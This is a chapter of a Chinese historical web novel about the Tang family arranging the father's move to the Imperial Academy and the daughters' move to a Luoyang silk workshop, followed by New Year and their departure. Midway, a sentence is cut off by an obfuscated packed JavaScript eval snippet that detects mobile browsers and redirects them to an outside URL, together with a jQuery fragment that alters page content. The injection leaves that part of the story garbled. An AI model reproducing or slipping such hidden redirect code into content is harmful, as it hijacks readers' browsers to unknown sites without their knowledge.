姐妹俩谢过教习,怀揣王教习形同关门弟子的邀约回了家。
刚踏进院门,想寻家人商议,见家中气氛与往日大不相同。
唐守仁正拿着一封盖着州府大印的文书,脸上神情复杂,似喜似忧。溪娘抱着小玥儿在一旁,眼圈微红。连惯常刻薄的大娘,此刻也难得地安静,只是撇着嘴,不知在想些什么。
“爹,娘,这是?”唐照环问道。
唐守仁将文书递给她:“环儿,琼儿,你们回来得正好,方才县衙送来的。知县为表彰我临危受命,安抚地方并宽慰民心之功,特行文举荐,保我入西京国子监深造,年后便启程。”
西京国子监?唐照环心中猛地一跳,竟与王教习的邀约撞在了一处。琼姐又惊又喜,拉着她的手直晃。
溪娘愁道:“洛阳那等大地方,花销必是如流水,你爹一个人去,身边没个照应,可怎么好?”
“爹,娘,大娘,我也有事禀告。”唐照环按下心中波澜,将王教习升迁洛阳绫绮场,欲带她和琼姐同往,吃住工舍,形同关门弟子之事,原原本本说了。
堂屋里顿时静了。溪娘抱着玥儿的手紧了紧,看向女儿的眼神满是担忧与不舍。
大娘则像被踩了尾巴的猫,尖声道:“洛阳?绫绮场?还关门弟子?环丫头,你不要被王教习哄了去,那种地方规矩大似天,伺候的都是贵人,一个不小心,脑袋搬家都不知道。琼儿性子软也就罢了,你这丫头主意比天大,去了还不得闯祸,不如在绣艺坊学几年女红,找个殷实人家嫁了是正经。”
唐守仁沉吟不语。他深知女儿聪慧远超常人,困在永安县实是埋没。绫绮场虽为匠作之地,却是顶尖所在,更是王教习亲自提携,此等机缘可遇不可求。
还有一点,唐照环自从石沟村归来后,精神状态时有反复,不是整宿睡不着,就是昏睡不愿醒,他和溪娘皆认定女儿被吓到了,也许换个环境能令她恢复。
“环儿,你自己如何想?”
唐照环摇摆不定,她去绣艺坊只为了给脑子里存的知识找个出处,在这里这么多年,早已把唐守仁他们当自己亲人,离开太远,真有点舍不得。
“绫绮场汇聚天下顶尖技艺,王教习愿倾囊相授,确实是好事,可我下不了决心。”
唐守仁明白了她的心思:“既然如此,等你爷奶从田庄回来过年,阖家商议再定。”
过了两日,天降小雪,年关将近的寒气更重了。唐家主屋重新热闹起来,爷奶带着主家田庄一年的收成和几大车年货回来了。
爷爷依旧沉默寡言,奶奶风风火火,指挥着卸货归置,中气十足。
当晚,一家人七手八脚将爷奶从田庄带回来的东西搬进灶房。主屋暖炕烧得热烘烘,全家齐聚,唐守礼也早早到了,给二老请安问好。
爷奶坐定,喝过热茶,环顾收拾得焕然一新,处处透着兴旺气象的小院,爷爷脸上的喜气风霜也掩不住,奶奶一脸慈祥,抱过溪娘怀里的小玥儿亲了又亲。
李铁枪的儿女不在此处,他们在唐守礼安排之下,进大牢跟亲爹相聚一晚。
饭桌上,唐守仁将西京国子监和王教习邀约琼环二人同去绫绮场两桩事和盘托出。
爷爷只是嗯了一声,不置可否。
奶奶放下筷子:“老二去洛阳是正经前程,还是知县抬举,不能推。环丫头和琼丫头跟王教习去绫绮场的事……环丫头,你跟你爹一样,是个有主意的。那地方听着是伺候人的匠作,可王教习当上掌计还点名要带你们,是看得起,给你们前程,老婆子看,去得。
就这么定。等开春,老二去上学,环丫头和琼丫头跟王教习去绫绮场,都去洛阳。”
奶奶是家里的主心骨,她发话,爷爷自然同意,其他人也不会有异议。
奶奶看向溪娘和小玥儿,还有一旁脸色变幻的大娘:“守仁和俩丫头都走了,家里剩你们几个妇孺,宅子空落落的不安全。等出了正月,老大家的,还有老二家的带着玥丫头,跟我们老两口回田庄。庄子里人多,房子也宽敞,有人照应,省得你们在家提心吊胆。”
爷爷难得开口:“你们只管安心住,等守仁在洛阳安顿好了,寻到合适的住处,再决定你们娘几个的去处。”
溪娘闻言,抱着玥儿连忙应下。
爷爷点点头,继续安排:“守礼如今是押司了,也算半个官身,再住他那四处漏风的破屋子不像样,丢咱家的人。年后两家一起凑点钱,把他那屋子好好翻修翻修,翻修期间嘛,守礼你搬过来暂住些时日,横竖其他人年后就出门了,屋子空着也是空着。”
唐守礼一听又能翻新自己的破屋,又能住进这亮堂堂的院子,哪有不乐意的,忙不迭地点头哈腰:“哎哟,谢谢五伯伯,谢谢五伯娘,谢谢大嫂,谢谢二哥二嫂,我一定规规矩矩,绝不给家里添乱。”
大娘脸拉得老长,终于忍不住说出内心想法:“去田庄?那乡下地方,鸡飞狗跳的,哪有城里住着舒坦。”
她心里的小算盘打得噼啪响。留在城里,守着这院子,等唐守礼搬进来……近水楼台。她一个寡妇,若能攀上新贵押司小叔子,后半辈子岂不就有了着落。去乡下田庄,跟一群泥腿子混在一起,哪还有机会。
奶奶何等精明,一眼就瞧穿了大娘那点心思。
她慢悠悠地道:“你这话说的。田庄是吵些,可安全啊。
你想想,钱贵那事儿真就彻底了了?他那些狐朋狗友,三教九流的,保不齐还有心怀怨恨,想迁怒咱家的。或者觉得咱家新贵,油水厚,想来借点钱花花。我们,守仁和俩丫头一走,家里就剩你和溪娘外加个奶娃,万一有个闪失可怎么好。
田庄上,有主家的护院,有咱唐家本族的青壮,谁敢去撒野。”
奶奶这话,半是实情,半是敲打,特意点出钱贵余党可能寻仇这茬。
大娘果然被吓住了,脸色白了白,下意识地朝门口望了一眼。但她仍不甘心,眼珠子滴溜溜转,瞟向一旁正美滋滋盘算翻修新房的唐守礼,脸上堆起僵硬的笑,声音也放软了:“三弟如今是押司老爷了,前程似锦,身边也没个知冷知热的人伺候着。这翻修屋子,搬家安顿的,琐碎事多着呢……”
她话里的暗示,连琼姐都听出来了,臊得低下头。
唐守礼冷不丁被大娘的秋波一送,差点噎着。他混迹市井,什么场面没见过?大娘那点心思,他门儿清。
可他现在是什么身份?新晋押司!前程大好!怎么可能娶个刻薄寡嫂进门,自毁声誉。
他立刻打了个哈哈,岔开话题:“哎哟,嫂子说笑了。我唐守礼光棍一条,皮糙肉厚的,哪用人伺候。搬家修屋,自有街面上的兄弟帮忙,不劳嫂子费心。嫂子还是听公婆的,去田庄享福是正经,安全第一,安全第一。”
大娘见唐守礼装聋作哑,油盐不进,给了自己个软钉子碰,一张脸青红交加,却又无可奈何。
她最终颓然低下头,咬着后槽牙,从牙缝里挤出几个字:“行吧,听二老安排,我晚点回去收拾东西。”
唐守仁嘱咐唐守礼:“李铁枪那一对儿女就不要随溪娘去田庄了,他俩不姓唐,去田庄恐被其他人欺负,还跟你一起住这院子。等大牢那边风声没那么紧了,你安排李铁枪过来住几个晚上,借他身上煞气镇镇宅。”
虽说钱贵不是死在自家院子里,可看到唐照环夜不能寐,唐守仁还是不放心。他想着,干脆请李铁枪过来住两天,万一钱贵真阴魂不散,见着他也得逃之夭夭。
唐守礼一听,哪有不乐意的,他巴不得人人都知道他有个武艺高强的帮手:“二哥思虑周到,我想办法。”
第二日,唐守仁给知县上了谢表,向西京国子监递了学籍,唐照环和琼姐提着爷奶带回来的土产,由唐守仁出面,郑重地答应了王教习洛阳相见。
王教习听唐守仁说国子监让新学子二月一日报到,体谅唐照环家境,也让一家人多聚聚,便说唐照环和琼姐不用上元节过完立即随她去洛阳。她自己先去绫绮场收拾东西住处,琼环二人随唐守仁同到即可。
确定了年后各个人的去向,全家专注准备过年。
转眼便是元丰五年的最后一天,除夕。
永安县里爆竹声声,瑞雪初霁。唐家老宅张灯结彩,比往年更加热闹。杀猪宰羊,蒸糕炸果,香气弥漫了整个巷子。
今年的唐家祭祖,气象大不相同。往年除夕祭祖,唐守仁家因贫寒,总缩在角落。今年,他们一家却被族长亲自安排在了主家之后,分家第一排的位置。
大人们一身簇新,气度沉稳。唐照环和唐照琼特意身着王教习年前送来赏的,由
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369780|179672||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绣艺坊新制的袄裙,亭亭玉立,在一众叽叽喳喳的小娘子中,显得格外出挑。小玥儿被溪娘裹在红彤彤的披风里,由唐守仁抱着行礼。
唐守礼穿押司公服,站在唐守仁身侧,一副与有荣焉的模样。只有大娘,想到年后便要出门,心里酸溜溜的不是滋味。
祭祖完毕,年夜饭摆在唐守仁家焕然一新的堂屋里。
爷奶坐了上首,大娘,唐守仁和溪娘,孩子们,唐守礼,还有特意请来的唐鸿音围坐一桌。桌上鸡鸭鱼肉,各色果品点心,摆得满满当当,比往年丰盛了何止一倍,来自唐守礼孝敬的醉仙楼全套席面。
酒过三巡,菜过五味。唐鸿音端着一杯酒,笑嘻嘻地举杯。少年郎跑商历练,晒得黑红,眼神却更加锐利精明。
“三哥这两个月押司做得真不错,以后继续努力,莫要辜负了知县和我爹信任。”
唐守礼忙不迭起身,指天发誓,一番效忠家族效忠知县的慷慨陈词。
“二哥,环儿琼儿,敬你们一杯。”唐鸿音笑嘻嘻地再举一杯,“祝二哥下届高中,鹏程万里,祝二位侄女绫绮场里学得通天手艺。”
众人都笑了。唐守仁笑着饮了,唐照环和琼姐也端起茶杯抿了一口。
欢声笑语,觥筹交错,溪娘抱着吃饱了奶,正咿咿呀呀玩着铃铛的小玥儿,看着这热闹团圆的景象,再看看身边沉稳的相公和聪慧的女儿,眼中噙满了欣慰的泪水。这是她嫁入唐家以来,过得最舒心,最热闹也最有盼头的一个年。
敲了三更,所有人送唐鸿音出门。
他压低声音,跃跃欲试地对唐守仁和唐照环说:“跟你们透个风。等开了春,你们去了洛阳站稳脚跟,说不定,我也要去洛阳转转。”
“你也去?”唐守仁诧异。
唐鸿音眼睛发亮:“是啊,前两日,三哥出面把机织许可办下来了,我爹寻了家族里可靠的亲戚,叫他年后再添两台织机,把咱唐家作坊热热闹闹办起来。
我是跑商嘛,哪热闹往哪凑。洛阳可是西京,天下财富汇聚之地,我琢磨着去探探行情,看看时兴料子。万一混出点名堂,也好跟二哥和侄女们在洛阳有个照应不是。”
唐鸿音有胆识,懂变通,若能引为助力,在洛阳那等繁华地方,或许真能成事。
唐照环笑着朝爽朗机敏的十二叔点头:“十二叔若来,我们扫榻相迎。”
欢乐的时光总是易逝,元丰五年翻过篇,元丰六年的春风,已在料峭的寒意中悄然萌动。
正月将尽,离别的日子终于到了。
一月最后一天,天色将明未明,唐照环家的小院已人影匆忙。
几辆结实大车停在院外,是唐鸿音早早托相熟的车行赁好的,连车夫都是靠得住的老把式。行李早已捆扎妥当,无非是些被褥衣物,书籍笔墨。
堂屋内,气氛凝重又饱含期盼。
爷奶不停叮嘱唐守仁和两个小娘子:“到了国子监专心向学,家里不用挂念。环儿琼儿,跟着教习好好学本事,莫怕吃苦。”
溪娘红着眼眶,强忍着泪,将给三人的物件仔细检查了又检查。
大娘脸上虽仍有不情愿,却也少了几分刻薄,多了些离别的茫然,把最后一个小包袱塞上车。
唐守礼今日格外正经,特意穿了新官服来送行,对着三人深深一揖:“祝愿二哥此去,鹏程万里,环儿琼儿,到了洛阳有什么事,记得给三叔捎信儿。”
他这话倒有几分真心,毕竟侄女的本事和她们背后的王教习,都是他日后可能用得上的人脉。
唐照环郑重回礼:“谢三叔,家中诸事,有劳三叔费心。”
天色渐明,晨曦微露,寒风依旧刺骨,众人不再耽搁。
唐守仁搀扶着爷奶上了头一辆车。溪娘抱着裹得严严实实的小玥儿,和大娘一起上了第二辆。
唐照环和唐照琼姐妹则上了第三辆。
车夫扬起鞭子,骡马打着响鼻,车轮碾过黄泥土路,发出辚辚的声响,向着南城门缓缓行去。
车帘缝隙中,唐照环最后看了一眼生活了多年,承载了太多悲欢的小院,心中百感交集。
此一去,山高水长,前路未知,也许再也不会回到此处。
但她心中并无畏惧,只有一片豁然开朗的天地和无限可能的未来。